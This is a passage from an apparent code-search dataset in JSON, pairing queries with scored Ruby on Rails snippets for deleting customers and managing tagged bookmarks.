"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bf15c39c3f57fc509c5fb67ff75f5316",
"score": "0.6698879",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bf15c39c3f57fc509c5fb67ff75f5316",
"score": "0.6698879",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "56b1b6c56ea675477d59c38e9e195973",
"score": "0.66944265",
"text": "def destroy\n @customer = current_user.customer.find(params[:id])\n @customer.destroy\n respond_to do |format|\n format.html { redirect_to customers_url, notice: 'Customer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e8fc8dc06ea2b312dd70d18a1cfeaaa5",
"score": "0.6685001",
"text": "def destroy\n deleting, @customer = Cruds::CrudCustomerService.destroy(@customer)\n if deleting\n redirect_to customers_url, notice: \"Customer was successfully destroyed.\"\n else\n render :index, notice: error\n end\n\n \n end",
"title": ""
},
{
"docid": "be366765e49e3a62f7d706f547bcf79b",
"score": "0.6683551",
"text": "def delete_target(id)\n if id.nil?\n raise LinkemperorCustomerException.new('id should not be empty')\n end\n parameters = {}\n exec_post(parameters, 'delete', \"#{@base_path}/api/v2/customers/targets/#{id}.json?api_key=#{@api_key}\")\n end",
"title": ""
},
{
"docid": "1652cd96799c063441fa7065ca074410",
"score": "0.66662025",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "274f95c43e65aa37eeef6306d8df2d40",
"score": "0.66656935",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.update_attribute(:deleted_at, Time.now)\n \n redirect_to(customers_url)\n end",
"title": ""
},
{
"docid": "2f28eb805b7064e3db9502017f435179",
"score": "0.6661492",
"text": "def delete\n appctrl_delete( 'Customer' )\n end",
"title": ""
},
{
"docid": "5846fcd436c40bd917420035929cb985",
"score": "0.6654564",
"text": "def delete_by_id(id)\n delete_address_by_id(id)\n end",
"title": ""
},
{
"docid": "946fc2717cab7d87ef9476bb10f75be4",
"score": "0.6654476",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_path, :notice => \"Contact has been successfully deleted!\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1fc58fb86e99000d1240caa105f137d8",
"score": "0.6648621",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "af5b0b0089d65d34cc02ddc7b5c8564c",
"score": "0.6641507",
"text": "def delete_campaign(id)\n if id.nil?\n raise LinkemperorCustomerException.new('id should not be empty')\n end\n parameters = {}\n exec_post(parameters, 'delete', \"#{@base_path}/api/v2/customers/campaigns/#{id}.json?api_key=#{@api_key}\")\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bc1e005bc3aafd621456123dd15eae93",
"score": "0.66371053",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3339590ea41c70bf258ce3c39c0ce8ac",
"score": "0.6633452",
"text": "def destroy\n @instant_customer = InstantCustomer.find(params[:id])\n @instant_customer.destroy\n\n respond_to do |format|\n format.html { redirect_to instant_customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "58d9b2b527608f654e63dd00efd95316",
"score": "0.66084146",
"text": "def destroy\n @customer = User.find_by(id: params[:customer_id])\n address = @customer.addresses.find_by(id: params[:id])\n address.deleted = true\n address.save!\n #redirect_to customer_addresses_path(@customer)\n end",
"title": ""
},
{
"docid": "72fafc78afe623e2fd78825f670263b3",
"score": "0.66080093",
"text": "def destroy\n\t\tbegin\n\t\t\tStripe.api_key = ENV['stripe_key']\n\t\t\tcustomer = Stripe::Customer.retrieve(@user.customer_id)\n\t\t\tcustomer.sources.retrieve(params[:id]).delete()\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json{render json: customer}\n\t\t\tend\t\n\t\trescue Exception => e\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json{render json: {error: e}}\n\t\t\tend\t\n\t\tend\n\t\t\n\tend",
"title": ""
},
{
"docid": "1ee041f79a6e3a52a74887a2046b8c6d",
"score": "0.65879935",
"text": "def delete_payment_customer params, logger = nil\r\n #@logger = logger ? logger : Logger.new(\"log/strip_gateway.log\")\r\n #@logger.info \"Delete customer: #{params[:email]}\"\r\n begin\r\n Stripe.api_key = StripeGateway.payment_secure_key\r\n cu = Stripe::Customer.retrieve(self.stripe_customer_id)\r\n cu.delete\r\n rescue Exception => e\r\n #@logger.info \"Error: #{e.message}\"\r\n raise e\r\n end\r\n end",
"title": ""
},
{
"docid": "5c439b487c0002affdba708817cb9bc6",
"score": "0.6584977",
"text": "def destroy\n Customer.remove_zone(@customer)\n @customer.destroy\n respond_to do |format|\n flash[:success] = 'Customer was successfully destroyed.'\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
cac42e0f754b2155cfbb235ef078258c
|
tag_bookmarks_path was behaving badly for tags with slashes
|
[
{
"docid": "1b3e93df2c086e89472211edec8ca851",
"score": "0.67685306",
"text": "def link_to_tag_bookmarks(tag)\n {:controller => 'bookmarks', :action => 'index', :tag_id => tag}\n end",
"title": ""
}
] |
[
{
"docid": "0bb7d0ff4427502b079d3ac09526d70e",
"score": "0.603172",
"text": "def path\n @path ||= \"tags/#{ slug }\"\n end",
"title": ""
},
{
"docid": "731975c1c82eb7e068a71ec138ebbfb0",
"score": "0.5931105",
"text": "def tag_path(tag, blog_name = nil)\n build_url blog_controller(blog_name).tag_pages.link(tag)\n end",
"title": ""
},
{
"docid": "7e5b6f431488033b6c429b8a8cafd23f",
"score": "0.5846139",
"text": "def tag_path(tag, key=nil)\n sitemap.find_resource_by_path(::Middleman::Blog::TagPages.link(blog_controller(key).options, tag)).try(:url)\n end",
"title": ""
},
{
"docid": "12afaceb5c414a12d6e89c99bdf1aa69",
"score": "0.56845194",
"text": "def tags_path\n File.join @tags_dir, @tags_file\n end",
"title": ""
},
{
"docid": "3bccd6de9752f8a6140cc911d4d4c198",
"score": "0.5410072",
"text": "def tag_links(base_path)\n @link.tags.map { |tag| link_to(tag, \"#{base_path}?tag=#{tag}\") }.join(', ').html_safe\n end",
"title": ""
},
{
"docid": "807992b1e948e31838e7432069138d67",
"score": "0.5327073",
"text": "def bookmarks\n xpath './bookmark'\n end",
"title": ""
},
{
"docid": "77aed50fb281ed8b8523e1206615a023",
"score": "0.53160477",
"text": "def index\n if params[:username]\n user_bookmarks\n elsif params[:tag_id]\n tag_bookmarks\n end\n \n if !@bookmarks\n redirect_to root_url\n return\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"title": ""
},
{
"docid": "c030f3c32ebd9e79099d8dd2af714dea",
"score": "0.5313199",
"text": "def link_for(tag, prefix: '/browse/tags/', css: '')\n %[<a href=\"#{h prefix}#{h tag}.html\" rel=\"tag\" class=\"#{css} label label-default\">#{h tag}</a>]\n end",
"title": ""
},
{
"docid": "c030f3c32ebd9e79099d8dd2af714dea",
"score": "0.5313199",
"text": "def link_for(tag, prefix: '/browse/tags/', css: '')\n %[<a href=\"#{h prefix}#{h tag}.html\" rel=\"tag\" class=\"#{css} label label-default\">#{h tag}</a>]\n end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "76550e3a68f44786d3ee616cd29fa45f",
"score": "0.5263463",
"text": "def escape_path(s); end",
"title": ""
},
{
"docid": "cf361364a398a163e5c5458a1e1ef6b3",
"score": "0.5246217",
"text": "def blog_tag_name_url(blog, tag, options = {})\n url_for({:only_path => false, :controller => \"posts\", :action => \"tagged\",\n :blog_id => \"#{blog.id}\", :tag => tag.name.gsub(' ', '_')}.merge(options))\n end",
"title": ""
},
{
"docid": "eca86b63731a8d38d7958bd4ddab7d35",
"score": "0.5243558",
"text": "def load_tags\n ::Octokit.tags @path\n end",
"title": ""
},
{
"docid": "7283eb36fab9efb3f4c212739f0b6c91",
"score": "0.52421296",
"text": "def create\n #@bookmark = Bookmark.new(params[:bookmark])\n url_tag = params[:bookmark][\"url\"]\n array = url_tag.split(\",\")\n if array.length == 1\n print \"action search\"\n @tag = Tag.find_by_name(array[0]) \n\n if @tag == nil\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: '{ \"error\" : \"No tag found!\"}' }\n end \n else\n @bookmark_tag = @tag.bookmarks\n print @bookmark_tag\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmark_tag }\n end\n end \n else\n url = array[0]\n\n url = validateURL(url)\n print url\n \n check = url.match(/^Error/)\n \n if check != nil\n response = '{ \"error\" : \"'\n response = response.concat(url);\n response = response.concat('\"}');\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: response }\n end\n else\n \n array.delete_at(0)\n tag_ids = Array.new\n array.length.times do |i|\n @tag = Tag.find_by_name(array[i]) \n if(@tag!=nil)\n print @tag.id\n tag_ids << @tag.id\n else\n @tag = Tag.new(:name => array[i])\n if @tag.save\n @tag = Tag.find_by_name(array[i])\n tag_ids << @tag.id\n end\n end\n end\n\n print tag_ids\n\n @bookmark = Bookmark.new(:url => url, :tag_ids => tag_ids)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n\n end\n \n end\n end",
"title": ""
},
{
"docid": "b8c8140d55efc6df6a7d75ae47547931",
"score": "0.5209709",
"text": "def bookmark?; end",
"title": ""
},
{
"docid": "377b451a4e59feffffec364abd857da6",
"score": "0.5202808",
"text": "def tag_paths\n @options[:connection].get(\"/objects/#{@options[:id]}\")[:tagPaths]\n end",
"title": ""
},
{
"docid": "8c0910898ae103c9e777a0f6ee1787f1",
"score": "0.5200036",
"text": "def tag_links(tags)\n output = \"\"\n tags.each do |tag|\n output += \"<a href=\\\"/tags/#{CGI.escape(tag)}\\\">#{tag}</a><br/>\"\n end\n return output\n end",
"title": ""
},
{
"docid": "7816dc28e4cf19b9f5b9fdf079ca1d4d",
"score": "0.51864266",
"text": "def link_tag_urls\n urls 'link', 'href'\n end",
"title": ""
},
{
"docid": "138d63f8d9b96d2e5ce7d5ac60fb5778",
"score": "0.5185061",
"text": "def tag_link(tag)\n \"<a class='tag' href='/tag/#{tag.gsub(/\\s+/, '-').downcase}/'>#{tag}</a>\"\n end",
"title": ""
},
{
"docid": "a538f48d6e4e29395f9bf62b7c14f6e8",
"score": "0.5180403",
"text": "def bookmark_params\n params.permit(:name, :address, :tags)\n end",
"title": ""
},
{
"docid": "19f6f83cccab48066b0d54b54ab1210a",
"score": "0.5174663",
"text": "def url_with_tags(tags = requested_tags)\n clean_url( url_without_tags + '/' + tags.uniq.map(&:clean_title).to_param )\n end",
"title": ""
},
{
"docid": "d68c40e51be76ecccc580e63bc5dd58a",
"score": "0.5171568",
"text": "def create_tag_pages\n tag_set(items).each do |tag|\n items << Nanoc3::Item.new(\n \"<%= render('tags', :tag => '#{tag}') %>\", # use locals to pass data\n {:is_hidden => true}, # do not include in sitemap.xml\n \"/blog/tags/#{tag}/\", # identifier\n :binary => false\n )\n end\nend",
"title": ""
},
{
"docid": "ac8f21d80af8868641f4a801b7cf6476",
"score": "0.5171123",
"text": "def index\n if params[:tag]\n tag = Bookmark.order('created_at DESC').tagged_with(params[:tag])\n else\n tag = Bookmark.find(:all, :order => \"created_at DESC\")\n end\n\n @bookmarks = params[:user_id] ? Bookmark.order('created_at DESC').where(user_id: params[:user_id]) : tag\n\n\n # ? Bookmark.order('created_at').tagged_with(params[:tag]) : Bookmark.find(:all, :order => \"created_at\")\n # @bookmarks = Bookmark.tagged_with('test1')\n # @bookmarks = Bookmark.all\n @tags = params[:user_id] ? User.find(params[:user_id]).bookmarks.tag_counts_on(:topics) : Bookmark.tag_counts_on(:topics)\n end",
"title": ""
},
{
"docid": "fca061ccf62790935fde2d72b1f81897",
"score": "0.51697266",
"text": "def segments_path() = root.join('segments')",
"title": ""
},
{
"docid": "5ff27e2d4046dc55953d83e1e9b40dbb",
"score": "0.5163167",
"text": "def escape_tag_for_search(tag)\n\treturn tag\n\t\t.gsub(\"\\\\\",\"\\\\\\\\\\\\\") #Escape \\\n\t\t.gsub(\"?\",\"\\\\?\") #Escape ?\n\t\t.gsub(\"*\",\"\\\\*\") #Escape *\n\t\t.gsub(\"\\\"\",\"\\\\\\\"\") #Escape \"\nend",
"title": ""
},
{
"docid": "19136a2b9c87ac4e07efba6a80c6436c",
"score": "0.5161396",
"text": "def bookmark_params\n params.permit(:url, :title, :private, :desc, :is_archived, :tag_list)\n end",
"title": ""
},
{
"docid": "2d584d509dc63014e723604d1643484c",
"score": "0.5155627",
"text": "def search_bookmark\n\t\t\t keyword = params[:keyword]\n\t\t\t if keyword.start_with?('#')\n\t\t\t bookmarks_tag_searcher(Time.now, keyword, doorkeeper_token.resource_owner_id)\n\t\t\t else\n\t\t\t bookmarks_searcher(Time.now, keyword, doorkeeper_token.resource_owner_id)\n\t\t\t end \t\t\t \n\t\t\t bookmarks_formatter \n\t\t\tend",
"title": ""
},
{
"docid": "e62ed59243f28a2025e4badb93a650da",
"score": "0.51495963",
"text": "def savebookmark\n\t\t\t url_str = save_bookmark_params[:url]\n\t\t\t\tannotations = get_annotations(url_str)\n\t\t\t\turl = Url.find_by_url(url_str)\n\t\t\t if url.nil?\n\t\t\t url = Url.new({:url => save_bookmark_params[:url], :icon => annotations[:icon]})\n\t\t\t if !url.save\n\t\t\t render :status => 404\n\t\t\t end\n\t\t\t else\n\t\t\t Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n\t\t\t end\n\t\t\t group_ids = save_bookmark_params['group_ids']\n\t\t\t @bookmarks = Array.new\n\n\t\t\t group_ids.each do |group_id|\t\t \n\t\t\t\t @bookmark = Bookmark.new({:title => save_bookmark_params[:title], :description => save_bookmark_params[:description], :url => url, :user_id => doorkeeper_token.resource_owner_id, :group_id => group_id})\t\t\t \n\n\t\t\t\t tags = save_bookmark_params[:tags].split(\",\")\n\t\t\t\t tags.each do |tag|\n\t\t\t\t if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n\t\t\t\t @tag = Tag.new\n\t\t\t\t @tag.tagname = tag.strip.gsub(' ','-').downcase\n\t\t\t\t @bookmark.tags << @tag\n\t\t\t\t else\n\t\t\t\t @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n\t\t\t\t end\n\t\t\t\t end unless tags.nil?\t\t\t \n\t\t\t\t \n\t\t\t\t if @bookmark.save\n\t\t\t\t \t@bookmarks << @bookmark\n\t\t\t\t else\n\t\t\t\t format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\t\t end\t\n\t\t\t\tend\t\n\t\t\t\thead :ok\n\t\t\tend",
"title": ""
},
{
"docid": "801a1cb804853d5986538112be33cf1a",
"score": "0.51408607",
"text": "def import_bookmarks(xml)\n doc = Nokogiri.XML(xml)\n doc.xpath('/posts/post').map do |p|\n time = Time.parse(p[\"time\"])\n b = Bookmark.where(:url => p[\"href\"], :title => p[\"description\"], :desc => p[\"extended\"], :user_id => id, :hashed_url => p[\"hash\"], :created_at => time, :updated_at => time ).first_or_create\n if p[\"tag\"] then\n tags = p[\"tag\"]\n tags = tags.split(\" \").map do |tag|\n Tag.new(:name => tag.strip)\n end\n if b.save then\n tags.each { |t| t.bookmark_id = b.id; t.save }\n end\n else\n b.save\n end\n end\n end",
"title": ""
},
{
"docid": "9a9e23acb29f9a7c9b6d77574673b939",
"score": "0.5117598",
"text": "def store_dir\n \"tags\"\n end",
"title": ""
},
{
"docid": "88a2a126a6edadff40b948dc1700c2be",
"score": "0.51118076",
"text": "def uri_escape\n self.tag1 = URI.escape(self.tag1.gsub(/ +/,'+').gsub(/\\/+/,'_')) if self.tag1.present?\n self.tag2 = URI.escape(self.tag2.gsub(/ +/,'+').gsub(/\\/+/,'_')) if self.tag2.present?\n self.tag3 = URI.escape(self.tag3.gsub(/ +/,'+').gsub(/\\/+/,'_')) if self.tag3.present?\n end",
"title": ""
},
{
"docid": "81547d1cfceac0f560ea732a09077987",
"score": "0.51112545",
"text": "def breadcrumbs\n returns = { } \n count = -1\n\n tags.each do | tag |\n returns[tag] = '/gallery/' + tags[0..( count += 1 )].join( '/' )\n end\n\n returns\n end",
"title": ""
},
{
"docid": "ce567d951b45aaf07edfdc4598a7f39b",
"score": "0.5105168",
"text": "def tag_id(section)\n encoded_id = URI.parse(section.id).path.gsub(/\\/tags\\/(.*).json/, \"\\\\1\")\n CGI.unescape(encoded_id)\n end",
"title": ""
},
{
"docid": "42ae6087765693f2bba6fa8f54211099",
"score": "0.509577",
"text": "def show\n @tag = Tag.friendly.find(params[:id])\n add_breadcrumb @tag.name, cooperative.tag_path(@tag)\n \n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @tag }\n end\n end",
"title": ""
},
{
"docid": "ed851bd9a8d4ba72e811ebd0fea3ef21",
"score": "0.5087081",
"text": "def importWebBookmarks(ioController, iDirName, iTag)\n Dir.glob(\"#{iDirName}/*\") do |iFileName|\n if (File.directory?(iFileName))\n if ((iFileName != '.') and\n (iFileName != '..'))\n # A new Tag\n lNewTag = ioController.createTag(iTag, UTF8_CONVERTER.iconv(File.basename(iFileName)), nil)\n importWebBookmarks(ioController, iFileName, lNewTag)\n end\n elsif (POSSIBLE_EXTENSIONS.include?(File.extname(iFileName).upcase))\n # A candidate file\n importShortcutFromFile(ioController, iFileName, iTag)\n end\n end\n end",
"title": ""
},
{
"docid": "be2e492c4ec50c9ebc2829bbd2835f6c",
"score": "0.5083883",
"text": "def initialize(path_to_bookmarks, opts = {})\n @path = path_to_bookmarks\n @opts = opts\n end",
"title": ""
},
{
"docid": "25c513c5613c5f486499277648dde3fc",
"score": "0.507872",
"text": "def display_tags(tag_list)\n tag_list.collect { |tag| link_to(\"\\##{tag}\", tagged_submissions_path(tag)) }.join(' ').html_safe\n end",
"title": ""
},
{
"docid": "742a12600aabb6577cf4a37eb8c18aa7",
"score": "0.50776803",
"text": "def build_bookmark(category, feature)\n \"#{category}-#{feature[:name].parameterize}\"\n end",
"title": ""
},
{
"docid": "742a12600aabb6577cf4a37eb8c18aa7",
"score": "0.50776803",
"text": "def build_bookmark(category, feature)\n \"#{category}-#{feature[:name].parameterize}\"\n end",
"title": ""
},
{
"docid": "63759335925ffea57821a4bbae014b60",
"score": "0.5072699",
"text": "def create\n @bookmark = current_user.bookmarks.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n @bookmark.tag_index!\n if params[:mode] == 'tag_edit'\n format.html { redirect_to @bookmark.manifestation , notice: t('controller.successfully_created', model: t('activerecord.models.bookmark')) }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n else\n format.html { redirect_to @bookmark , notice: t('controller.successfully_created', model: t('activerecord.models.bookmark')) }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n end\n else\n @user = current_user\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n\n session[:params][:bookmark] = nil if session[:params]\n end",
"title": ""
},
{
"docid": "63759335925ffea57821a4bbae014b60",
"score": "0.5072699",
"text": "def create\n @bookmark = current_user.bookmarks.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n @bookmark.tag_index!\n if params[:mode] == 'tag_edit'\n format.html { redirect_to @bookmark.manifestation , notice: t('controller.successfully_created', model: t('activerecord.models.bookmark')) }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n else\n format.html { redirect_to @bookmark , notice: t('controller.successfully_created', model: t('activerecord.models.bookmark')) }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n end\n else\n @user = current_user\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n\n session[:params][:bookmark] = nil if session[:params]\n end",
"title": ""
},
{
"docid": "9357d6b4c5ad7b136a3caa0e691b51bb",
"score": "0.50629634",
"text": "def escape_path(path); end",
"title": ""
},
{
"docid": "4d26e15113d4435678fd36730a7576dc",
"score": "0.5055869",
"text": "def create\n @bookmark = Bookmark.new(params[:bookmark])\n if params[:tag_value]\n @bookmark_user = @bookmark.bookmark_users.first\n @bookmark_user.user_id = current_user.id\n else\n @bookmark_user = BookmarkUser.new(:user_id => current_user.id)\n @bookmark.bookmark_users << @bookmark_user\n end\n\n @tags = params[:tag_value]\n \n if current_user.bookmarks.get_bookmark_by_url(@bookmark.url)\n flash[:notice] = 'You already added this page'\n @has_same_url ||= true\n end\n \n respond_to do |format|\n if !params[:tag_value]\n @check_result = @has_same_url ? false : @bookmark.check_url\n format.js\n else\n if !@has_same_url and @bookmark.add_bookmark_to_user(@bookmark_user)\n Tag.add_tags_to_parent(@bookmark, @tags)\n format.html { redirect_to popular_path, notice: 'Bookmark was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "55bd010ded99d2b15a222db2a818e9d8",
"score": "0.50397664",
"text": "def process_file_link_tag(tag)\n parts = tag.split('|')\n return if parts.size.zero?\n\n name = parts[0].strip\n path = parts[1] && parts[1].strip\n if path && file = @markup.find_file(path)\n path = ::File.join @markup.wiki.base_path, file.path\n else\n path = nil\n end\n\n if name && path && file\n %{<a href=\"#{::File.join @markup.wiki.base_path, file.path}\">#{name}</a>}\n elsif name && path\n %{<a href=\"#{path}\">#{name}</a>}\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "7099c40577b52eed8e60042be8379ef4",
"score": "0.50232863",
"text": "def escape_tag_for_search(tag)\n\treturn tag.encode(\"utf-8\")\n\t\t.gsub(\"\\\\\",\"\\\\\\\\\\\\\") #Escape \\\n\t\t.gsub(\"?\",\"\\\\?\") #Escape ?\n\t\t.gsub(\"*\",\"\\\\*\") #Escape *\n\t\t.gsub(\"\\\"\",\"\\\\\\\"\") #Escape \"\n\t\t.gsub(\"\\u201C\".encode(\"utf-8\"),\"\\\\\\u201C\".encode(\"utf-8\")) #Escape left smart quote\n\t\t.gsub(\"\\u201D\".encode(\"utf-8\"),\"\\\\\\u201D\".encode(\"utf-8\")) #Escape right smart quote\n\t\t.gsub(\"'\",\"\\\\\\\\'\") #Escape '\n\t\t.gsub(\"{\",\"\\\\{\")\n\t\t.gsub(\"}\",\"\\\\}\")\nend",
"title": ""
},
{
"docid": "d74a8c2294d282a1f42baa02052a0fc8",
"score": "0.5019492",
"text": "def create\n @bookmark = Bookmark.new(bookmark_params)\n\n @bookmark.tags = param_tags\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark }\n else\n gon.available_tags = Tag.all.map(&:name)\n format.html { render :new }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b7443f94ec567e137ccb182cee09468",
"score": "0.5017645",
"text": "def sanitized_breadcrumbs; end",
"title": ""
},
{
"docid": "b4add98310996fd88bf8e80e4d6ff85a",
"score": "0.5016892",
"text": "def update\n @bookmark.tags = param_tags\n\n respond_to do |format|\n if @bookmark.update(bookmark_params)\n Tag.destroy_if_empty\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookmark }\n else\n format.html { render :edit }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
